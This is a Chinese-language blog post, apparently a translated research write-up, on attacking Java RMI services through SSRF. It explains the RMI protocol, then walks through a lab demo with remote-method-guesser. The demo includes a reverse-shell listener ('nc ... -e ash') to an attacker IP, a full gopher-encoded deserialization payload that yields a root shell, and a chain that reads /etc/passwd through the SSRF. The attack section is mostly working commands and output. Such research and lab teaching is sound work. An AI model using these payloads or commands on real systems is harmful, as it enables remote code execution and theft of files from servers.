Attacking Java RMI via SSRF

2022-09-07 17:20:47 浏览数 (1)

文章前言

在过去的几年中,SSRF漏洞变得异常火热,同时也公开纰漏的几个高质量的SSRF漏洞,通过SSRF漏洞攻击后端应用的范围也从基于HTTP的服务(例如:Solr)、云元数据服务转变到了更奇特的目标(例如:redis数据库),在这篇博文中我们将讨论通过SSRF来攻击Java RMI的可行性,并演示如何通过SSRF来定位RMI服务

Java RMI

Java RMI是一种面向对象的RPC(远程过程调用)机制,在大多数Java安装中默认可用,开发人员可以使用Java RMI创建远程对象,在网络上公开它们的功能并允许远程客户机调用它们。

Java RMI通信依赖于序列化的Java对象,这使得该协议成为攻击者的主要目标,在过去的几年中Java RMI的安全性已经有了很大的提高,但是仍然经常遇到易受攻击的端点,此外当可用的远程对象暴露危险的方法时,即使是完全打了补丁的RMI服务也可能成为攻击者的入口点。

如果您曾经使用Java RMI实现过某些东西,您可能会怀疑该协议会成为SSRF攻击的目标,对于那些从未实际使用过Java RMI的人来说,这里有一个典型的RMI客户端的简短示例:

代码语言:javascript复制
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import eu.tneitzel.rmi.interfaces.RemoteService;

public class ExampleClient {

  private static final String remoteHost = "172.17.0.2";
  private static final String boundName = "remote-service";

  public static void main(String[] args)
  {
    try {
      Registry registry = LocateRegistry.getRegistry(remoteHost);
      RemoteService ref = (RemoteService)registry.lookup(boundName);
      String response = ref.remoteMethod();
    
    } catch( Exception e) {
      e.printStackTrace();
    }
  }
}

这段代码基本上完成了以下工作:

  1. 连接到RMI注册中心(Java RMI的名称服务,类似于DNS)
  2. 查找名称remote-service以获得对远程对象的引用
  3. 调用远程对象上的remoteMethod函数

尽管ref是在本地Java虚拟机中创建的对象,但是对该对象的调用会被转发到RMI服务器,这表明Java RMI使用了面向对象的RPC机制,其中本地对象用于消费远程服务,这种面向对象的RPC实现给人以本地对象和远程服务之间强耦合的印象,这使得SSRF攻击看起来不可能,但事实并非如此,因为RMI协议像HTTP一样是一种无状态协议,在本地对象和远程服务之间只有松散的耦合,但是我们应该从RMI注册表开始

RMI Registry

RMI注册表是一个命名服务,通常用于使RMI服务在网络上可用,为了连接到远程对象,客户端通常需要一定量的信息:

  • 远程对象的IP地址和TCP端口
  • 远程对象实现的类或接口
  • 远程对象的ObjID值(内部标识符)

所有这些信息都存储在RMI注册表中,可以用一个人类可读的名称(绑定名称)来访问,在上面的例子中,我们从RMI注册表中查找了人类可读的名称remote-service并获得了对相应远程对象的引用,该引用存储远程过程调用所需的所有信息,并将方法调用转发给远程对象

RMI注册中心本身是一个远程对象,但是与RemoteService远程对象不同的是RMI注册中心是一个众所周知的远程对象,这意味着实现的类和分配的ObjID是固定的,并且为RMI客户端所知,因此要与RMI注册中心通信只需要IP地址和TCP端口,这使得RMI注册表更容易成为SSRF攻击的目标

Java RMI Protocol

RMI服务是否会成为SSRF攻击的目标取决于RMI协议的结构,在下图中我试图想象典型的RMI通信是什么样子的:

典型的RMI通信由握手和一个或多个方法调用组成,在握手期间,服务端和客户端主机上的一些静态数据和信息被交换,值得注意的是交换的信息都不依赖于先前接收的数据,因此可以预测握手过程中使用的所有值,这在执行SSRF攻击时非常重要

握手完成后,客户端可以开始分派方法调用,在一个通信信道中调度多个方法调用通常是可能的,但是除了减少网络流量之外,它没有任何好处,如前所述,RMI协议是无状态的,无论是在一个还是多个通信通道中调度多个调用都没有区别

从SSRF的角度来看RMI协议的握手部分看起来有问题,SSRF漏洞通常只允许一次性攻击,像握手这样的交互式通信是不可能的,然而在Java RMI的情况下握手并不重要,因为RMI服务器从底层TCP流中一个接一个地读取数据,这允许客户机从一开始就发送所有需要的数据,而不需要等待任何服务器响应,下图再次显示了RMI协议,但这次是如何在SSRF攻击中使用它的:

到目前为止,我们还没有谈到的另一个问题是数据类型,显而易见,基于基本HTTP的SSRF漏洞不能被用来对RMI服务执行SSRF攻击,最初的几个字节(RMI magic)已经导致一个损坏的流,并导致RMI服务上的一个错误,相反您需要能够向目标RMI服务发送任意字节,尤其是空字节需要被允许,这导致了新curl版本上基于gopher的SSRF攻击的问题,但是当满足这个条件并且可以向RMI服务发送任意数据时,就可以像直接连接一样调度调用

Single Operation Protocol

熟悉RMI内部的读者可能会问为什么我们到目前为止还没有谈到单一操作协议,在将RMI magic和协议版本发送给服务器之后,RMI客户机发送一个额外的字节来指示它们想要使用的协议变体,Java RMI目前定义了三种不同的协议变体:

  • Stream Protocol
  • Single Operation Protocol
  • Multiplex Protocol

尽管不再支持复用协议,但是在每个RMI端点上支持流和单操作协议,在我们之前的讨论中,我们只讨论了流协议,它的特点是允许在一个通信通道中进行多个RMI调用,另一方面,单操作协议只允许每个连接进行一次RMI调用,因此是执行SSRF攻击时的首选

下图显示了单一操作协议的数据流:

单一操作协议的问题在于它在默认的Java RMI实现中缺乏客户端支持,Java RMI根据底层连接类型自动决定是使用单一操作协议还是流协议,如果基础连接类型可重用则使用流协议,默认情况下,提供的唯一连接类型是TCPConnection类,它包含以下函数定义:

代码语言:javascript复制
public boolean isReusable()
{
    return true;
}

这使得修改协议类型变得困难,即使使用反射也是如此

在接下来的章节中,我们使用remote-method-guesser来生成SSRF有效载荷,尽管该工具是用Java编写的,并且使用了默认的Java RMI实现,但是它使用一个定制的套接字工厂来将SSRF有效负载从流转换为单操作协议,这是以下示例中使用的默认行为,但是您也可以使用-stream-protocol选项生成流协议有效负载

关于Java RMI的安全性,流协议和单操作协议没有太大的区别,都可以用来发起SSRF攻击,使用流协议,我预料到空闲连接会出现一些问题,因为RMI服务器在处理了通过SSRF提供的初始调用之后可能会等待更多的RMI调用,然而在我的测试中我从未观察到这种行为

The ObjID Problem

在Java RMI上执行SSRF攻击需要客户端预先知道需要发送到RMI服务器的所有数据,这对于众所周知的具有固定ObjID值的RMI服务是可能的,例如:RMI注册表(ObjID = 0)、激活系统(ObjID = 1)或分布式垃圾收集器(ObjID = 2),其他远程对象在绑定到TCP端口时会获得一个随机分配的ObjID,猜测ObjID基本上是不可能的,因为它由以下组件组成:

  • objNum -由SecureRandom创建的随机长值(每个对象设置一次)
  • UID -复合对象
    • unique-由SecureRandom创建的随机int值(每个主机设置一次)
    • time -在导出期间作为int值计数创建的
    • count-从short开始递增的Short.MIN_VALUE

获取远程对象的ObjID值是RMI客户机在使用RMI服务之前通常需要与RMI注册中心对话的原因之一

SSRF攻击自定义RMI端点现在是不可能的吗?嗯,不是完全不可能,但它们需要一个SSRF漏洞,甚至更多的能力,如前所述,我们现在至少需要两次攻击,而不是一次攻击:

  • 利用SSRF漏洞在RMI注册表上执行查找调用,使用获得的ObjID值
  • 通过SSRF定位远程对象

要做到这一点,我们显然需要一个SSRF漏洞来返回从目标端点获得的数据,此外SSRF需要允许在返回的数据中包含任意字节,包括空字节,具有这些属性的SSRF漏洞极其罕见,但是当所有条件都满足时,您可以像直接连接一样使用任何RMI服务

Attacking the RMI Registry

为了演示Java RMI协议的安全性,我们现在将使用易受SSRF攻击的web应用程序来攻击RMI注册中心端点,为了尽可能方便起见,我们使用remote-method-guesser,这是一个集成了SSRF支持的Java RMI漏洞扫描器,remote-method-guesser存储库还包含一个SSRF示例服务器,我们可以用它来进行演示,以下演示的设置如下所示:

  • HTTP服务易受SSRF攻击,参数为路径http://172.17.0.2:8000中的url
  • RMI注册表在远程服务器上监听localhost:1090
  • 容易被RMI注册表反序列化绕过的过时Java版本
  • RMI应用程序的类路径中提供了CommonsCollections3.1
  • SSRF漏洞基于curl,允许gopher协议中存在空字节

我们从nmap扫描开始,应用服务器没有直接暴露RMI端口:

代码语言:javascript复制
$ nmap -p- -n 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-20 07:57 CET
Nmap scan report for 172.17.0.2
Host is up (0.000094s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

为了演示SSRF漏洞,我们只使用一个普通的HTTP回调:

代码语言:javascript复制
$ curl 'http://172.17.0.2:8000?url=http://172.17.0.1:8000/PoC'
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [20/Dec/2021 08:01:20] "GET /PoC HTTP/1.1" 200 -

现在我们对RMI注册表进行反序列化攻击,应用服务器上的Java版本已经为注册表通信实现了反序列化过滤器,但是它容易受到已知的反序列化过滤器旁路的攻击,这些bypass通过创建到攻击者控制的服务器的出站RMI连接来工作,此出站连接不再受反序列化筛选器的保护,可用于实现任意反序列化

首先创建所需的侦听器:一个用于传入的RMI连接,另一个用于传入的shell

代码语言:javascript复制
$ rmg listen 0.0.0.0 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[ ] Creating ysoserial payload... done.
[ ] Creating a JRMPListener on 0.0.0.0:4444.
[ ] Handing off to ysoserial...

$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445

现在我们创建SSRF有效载荷,用remote-method-guesser创建SSRF有效载荷非常简单,几乎每个操作都支持-ssrf选项,设置此选项后,将生成相应的SSRF负载,而不是在远程服务器上执行请求的操作,出于我们的目的,我们需要将监听localhost:1090的远程服务器上的RMI注册表作为目标,此外我们使用AnTrinh有效负载,这是RMI注册表的最新反序列化过滤器Bypass:

代码语言:javascript复制
$ rmg serial 127.0.0.1 1090 AnTrinh 172.17.0.1:4444 --component reg --ssrf --gopher --encode
[ ] Attempting deserialization attack on RMI Registry endpoint...
[ ]
[ ] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%73%72%00%23%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%55%6e%69%63%61%73%74%52%65%6d%6f%74%65%4f%62%6a%65%63%74%45%09%12%15%f5%e2%7e%31%02%00%03%49%00%04%70%6f%72%74%4c%00%03%63%73%66%74%00%28%4c%6a%61%76%61%2f%72%6d%69%2f%73%65%72%76%65%72%2f%52%4d%49%43%6c%69%65%6e%74%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%3b%4c%00%03%73%73%66%74%00%28%4c%6a%61%76%61%2f%72%6d%69%2f%73%65%72%76%65%72%2f%52%4d%49%53%65%72%76%65%72%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%3b%70%78%72%00%1c%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%53%65%72%76%65%72%c7%19%07%12%68%f3%39%fb%02%00%00%70%78%72%00%1c%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%4f%62%6a%65%63%74%d3%61%b4%91%0c%61%33%1e%03%00%00%70%78%70%77%13%00%11%55%6e%69%63%61%73%74%53%65%72%76%65%72%52%65%66%32%78%00%00%00%00%70%73%7d%00%00%00%02%00%26%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%4d%49%53%65%72%76%65%72%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%00%0f%6a%61%76%61%2e%72%6d%69%2e%52%65%6d%6f%74%65%70%78%72%00%17%6a%61%76%61%2e%6c%61%6e%67%2e%72%65%66%6c%65%63%74%2e%50%72%6f%78%79%e1%27%da%20%cc%10%43%cb%02%00%01%4c%00%01%68%74%00%25%4c%6a%61%76%61%2f%6c%61%6e%67%2f%72%65%66%6c%65%63%74%2f%49%6e%76%6f%63%61%74%69%6f%6e%48%61%6e%64%6c%65%72%3b%70%78%70%73%72%00%2d%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%4f%62%6a%65%63%74%49%6e%76%6f%63%61%74%69%6f%6e%48%61%6e%64%6c%65%72%00%00%00%00%00%00%00%02%02%00%00%70%78%71%00%7e%00%04%77%33%00%0a%55%6e%69%63%61%73%74%52%65%66%00%0a%31%37%32%2e%31%37%2e%30%2e%31%00%00%11%5c%00%00%00%00%00%00%00%7b%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%78

SSRF有效载荷可以以不同的格式生成,我们选择gopher格式和URL编码有效载荷使其可以在curl命令中直接使用,现在我们只需要将这个有效负载发送到远程服务器:

代码语言:javascript复制
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%73%72%00%23%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%55%6e%69%63%61%73%74%52%65%6d%6f%74%65%4f%62%6a%65%63%74%45%09%12%15%f5%e2%7e%31%02%00%03%49%00%04%70%6f%72%74%4c%00%03%63%73%66%74%00%28%4c%6a%61%76%61%2f%72%6d%69%2f%73%65%72%76%65%72%2f%52%4d%49%43%6c%69%65%6e%74%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%3b%4c%00%03%73%73%66%74%00%28%4c%6a%61%76%61%2f%72%6d%69%2f%73%65%72%76%65%72%2f%52%4d%49%53%65%72%76%65%72%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%3b%70%78%72%00%1c%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%53%65%72%76%65%72%c7%19%07%12%68%f3%39%fb%02%00%00%70%78%72%00%1c%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%4f%62%6a%65%63%74%d3%61%b4%91%0c%61%33%1e%03%00%00%70%78%70%77%13%00%11%55%6e%69%63%61%73%74%53%65%72%76%65%72%52%65%66%32%78%00%00%00%00%70%73%7d%00%00%00%02%00%26%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%4d%49%53%65%72%76%65%72%53%6f%63%6b%65%74%46%61%63%74%6f%72%79%00%0f%6a%61%76%61%2e%72%6d%69%2e%52%65%6d%6f%74%65%70%78%72%00%17%6a%61%76%61%2e%6c%61%6e%67%2e%72%65%66%6c%65%63%74%2e%50%72%6f%78%79%e1%27%da%20%cc%10%43%cb%02%00%01%4c%00%01%68%74%00%25%4c%6a%61%76%61%2f%6c%61%6e%67%2f%72%65%66%6c%65%63%74%2f%49%6e%76%6f%63%61%74%69%6f%6e%48%61%6e%64%6c%65%72%3b%70%78%70%73%72%00%2d%6a%61%76%61%2e%72%6d%69%2e%73%65%72%76%65%72%2e%52%65%6d%6f%74%65%4f%62%6a%65%63%74%49%6e%76%6f%63%61%74%69%6f%6e%48%61%6e%64%6c%65%72%00%00%00%00%00%00%00%02%02%00%00%70%78%71%00%7e%00%04%77%33%00%0a%55%6e%69%63%61%73%74%52%65%66%00%0a%31%37%32%2e%31%37%2e%30%2e%31%00%00%11%5c%00%00%00%00%00%00%00%7b%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%78'

这应该会在我们的侦听器上产生传入连接,我们应该获得一个shell:

代码语言:javascript复制
$ rmg listen 0.0.0.0 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[ ] Creating ysoserial payload... done.
[ ] Creating a JRMPListener on 0.0.0.0:4444.
[ ] Handing off to ysoserial...
Have connection from /172.17.0.2:51246
Reading message...
Sending return with payload for obj [0:0:0, 123]
Closing connection

$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:33809.
id
uid=0(root) gid=0(root) groups=0(root)

我们成功地利用一个盲SSRF漏洞攻击了一个易受攻击的RMI注册表,下面的gif展示了上面提到的所有步骤:

Attacking Custom RMI Services

remote-method-guesser存储库中的ssrf-server运行一个定制的RMI服务,该服务与RMI registry一样,只能从本地主机访问,相应的服务使用以下方法签名实现IFileManager接口

代码语言:javascript复制
public interface IFileManager extends Remote
{
    File[] list(String dir);
    byte[] read(String file);
    String write(String file, byte[] content);
    String copy(String src, String dest);
}

我们想利用HTTP前端的SSRF漏洞调用read方法,从服务器提取/etc/passwd文件,听起来很容易,但是我们需要首先获得远程对象的TCP端点和ObjID值,并且需要通过SSRF在RMI注册表上执行查找操作,为此我们可以再次使用remote-method-guesser

当使用remote-method-guesser的枚举操作时,在目标RMI端点上执行几种不同的检查,在RMI注册表端点上其中一项检查包括查找所有可用的远程对象,将-ssrf选项与enum操作一起使用时,不可能一次执行多个检查,并且创建的ssrf负载仅执行一个检查,您可以使用-scan-action <CHECK >选项来选择要执行的检查,在这种情况下,我们希望执行列表检查,列出RMI注册表中所有可用的绑定名称:

代码语言:javascript复制
$ rmg enum 127.0.0.1 1090 --scan-action list --ssrf --gopher --encode
[ ] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%44%15%4d%c9%d4%e6%3b%df
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%44%15%4d%c9%d4%e6%3b%df' --silent | xxd -p -c1000
51aced0005770f0183f5ecf20000017dffcbc0c18006757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69

我们使用的ssrf服务器实现了一个能够返回二进制数据的SSRF漏洞,这个二进制数据现在包含了来自RMI注册中心的响应,为了从响应中提取所需的信息,我们可以使用remote-method-guesser的- ssrf-response选项,此选项从RMI端点获取十六进制编码的响应,并在指定的上下文中解释它:

代码语言:javascript复制
$ rmg enum 127.0.0.1 1090 --scan-action list --ssrf-response 51aced0005770f0183f5ecf20000017dffcbc0c18006757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a617278700000000274000b46696c654d616e616765727400066a6d78726d69
[ ] RMI registry bound names:
[ ]
[ ]   - FileManager
[ ]   - jmxrmi

现在我们获得了RMI注册表中可用的绑定名称,但是我们仍然缺少TCP端点和ObjID值,这里的问题是remote-method-guesser需要先调用注册表的list函数,然后才能执行查找调用,由于每个SSRF攻击只可能有一个调用,因此查找调用会丢失,但是我们可以使用- bound-name选项直接指定目标绑定名称,在这种情况下remote-method-guesser会跳过list调用:

代码语言:javascript复制
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name FileManager --ssrf --gopher --encode
[ ] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%74%00%0b%46%69%6c%65%4d%61%6e%61%67%65%72
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%74%00%0b%46%69%6c%65%4d%61%6e%61%67%65%72' --silent | xxd -p -c1000
51aced0005770f0183f5ecf20000017dffcbc0c18007737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f73740000a415015a236da33de6b483f5ecf20000017dffcbc0c180010178
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name FileManager --ssrf-response 51aced0005770f0183f5ecf20000017dffcbc0c18007737d00000002000f6a6176612e726d692e52656d6f7465002764652e7174632e726d672e7365727665722e737372662e726d692e4946696c654d616e6167657274002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a6172787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b71007e000178707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572000000000000000202000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707732000a556e696361737452656600096c6f63616c686f73740000a415015a236da33de6b483f5ecf20000017dffcbc0c180010178
[ ] RMI registry bound names:
[ ]
[ ]   - FileManager
[ ]     --> de.qtc.rmg.server.ssrf.rmi.IFileManager (unknown class)
[ ]         Endpoint: localhost:42005  TLS: no  ObjID: [-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]
[ ]
[ ] RMI server codebase enumeration:
[ ]
[ ]   - http://localhost:8000/rmi-class-definitions.jar
[ ]     --> de.qtc.rmg.server.ssrf.rmi.IFileManager

现在我们需要的东西都有了,目标远程对象侦听localhost:42005,其ObjID为[-7c0a130e:17dffcbc0c1:-7fff,97429295739037364],我们现在可以使用remote-method-guesser的调用操作来调用这个对象的read方法:

代码语言:javascript复制
$ rmg call 127.0.0.1 42005 '"/etc/passwd"' --signature 'byte[] read(String file)' --objid '[-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]' --ssrf --gopher --encode
[ ] SSRF Payload: gopher://127.0.0.1:42005/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%01%5a%23%6d%a3%3d%e6%b4%83%f5%ec%f2%00%00%01%7d%ff%cb%c0%c1%80%01%ff%ff%ff%ff%8c%6a%5e%78%a5%63%2a%8f%74%00%0b%2f%65%74%63%2f%70%61%73%73%77%64
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:42005/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%01%5a%23%6d%a3%3d%e6%b4%83%f5%ec%f2%00%00%01%7d%ff%cb%c0%c1%80%01%ff%ff%ff%ff%8c%6a%5e%78%a5%63%2a%8f%74%00%0b%2f%65%74%63%2f%70%61%73%73%77%64' --silent | xxd -p -c10000
51aced0005770f0183f5ecf20000017dffcbc0c18009757200025b42acf317f8060854e0020000707870000004d4726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f6173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a31333a6e6577733a2f7573722f6c69622f6e6577733a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563707075626c69633a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a6d616e3a783a31333a31353a6d616e3a2f7573722f6d616e3a2f7362696e2f6e6f6c6f67696e0a706f73746d61737465723a783a31343a31323a706f73746d61737465723a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a63726f6e3a783a31363a31363a63726f6e3a2f7661722f73706f6f6c2f63726f6e3a2f7362696e2f6e6f6c6f67696e0a6674703a783a32313a32313a3a2f7661722f6c69622f6674703a2f7362696e2f6e6f6c6f67696e0a737368643a783a32323a32323a737368643a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a61743a783a32353a32353a61743a2f7661722f73706f6f6c2f63726f6e2f61746a6f62733a2f7362696e2f6e6f6c6f67696e0a73717569643a783a33313a33313a53717569643a2f7661722f63616368652f73717569643a2f7362696e2f6e6f6c6f67696e0a7866733a783a33333a33333a5820466f6e74205365727665723a2f6574632f5831312f66733a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a33353a33353a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a63797275733a783a38353a31323a3a2f7573722f63797275733a2f7362696e2f6e6f6c6f67696e0a76706f706d61696c3a783a38393a38393a3a2f7661722f76706f706d61696c3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a3132333a3132333a4e54503a2f7661722f656d7074793a2f7362696e2f6e6f6c6f67696e0a736d6d73703a783a3230393a3230393a736d6d73703a2f7661722f73706f6f6c2f6d71756575653a2f7362696e2f6e6f6c6f67696e0a67756573743a783a3430353a3130303a67756573743a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a6375726c5f757365723a783a3130303a3130313a4c696e757820557365722c2c2c3a2f686f6d652f6375726c5f757365723a2f7362696e2f6e6f6c6f67696e0a
$ rmg call 127.0.0.1 42005 '"/etc/passwd"' --signature 'byte[] read(String file)' --objid '[-7c0a130e:17dffcbc0c1:-7fff, 97429295739037364]' --plugin GenericPrint.jar --ssrf-response 51aced0005770f0183f5ecf20000017dffcbc0c18009757200025b42acf317f8060854e0020000707870000004d4726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f6173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a31333a6e6577733a2f7573722f6c69622f6e6577733a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563707075626c69633a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a6d616e3a783a31333a31353a6d616e3a2f7573722f6d616e3a2f7362696e2f6e6f6c6f67696e0a706f73746d61737465723a783a31343a31323a706f73746d61737465723a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a63726f6e3a783a31363a31363a63726f6e3a2f7661722f73706f6f6c2f63726f6e3a2f7362696e2f6e6f6c6f67696e0a6674703a783a32313a32313a3a2f7661722f6c69622f6674703a2f7362696e2f6e6f6c6f67696e0a737368643a783a32323a32323a737368643a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a61743a783a32353a32353a61743a2f7661722f73706f6f6c2f63726f6e2f61746a6f62733a2f7362696e2f6e6f6c6f67696e0a73717569643a783a33313a33313a53717569643a2f7661722f63616368652f73717569643a2f7362696e2f6e6f6c6f67696e0a7866733a783a33333a33333a5820466f6e74205365727665723a2f6574632f5831312f66733a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a33353a33353a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a63797275733a783a38353a31323a3a2f7573722f63797275733a2f7362696e2f6e6f6c6f67696e0a76706f706d61696c3a783a38393a38393a3a2f7661722f76706f706d61696c3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a3132333a3132333a4e54503a2f7661722f656d7074793a2f7362696e2f6e6f6c6f67696e0a736d6d73703a783a3230393a3230393a736d6d73703a2f7661722f73706f6f6c2f6d71756575653a2f7362696e2f6e6f6c6f67696e0a67756573743a783a3430353a3130303a67756573743a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a6375726c5f757365723a783a3130303a3130313a4c696e757820557365722c2c2c3a2f686f6d652f6375726c5f757365723a2f7362696e2f6e6f6c6f67696e0a | xxd -p -r
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
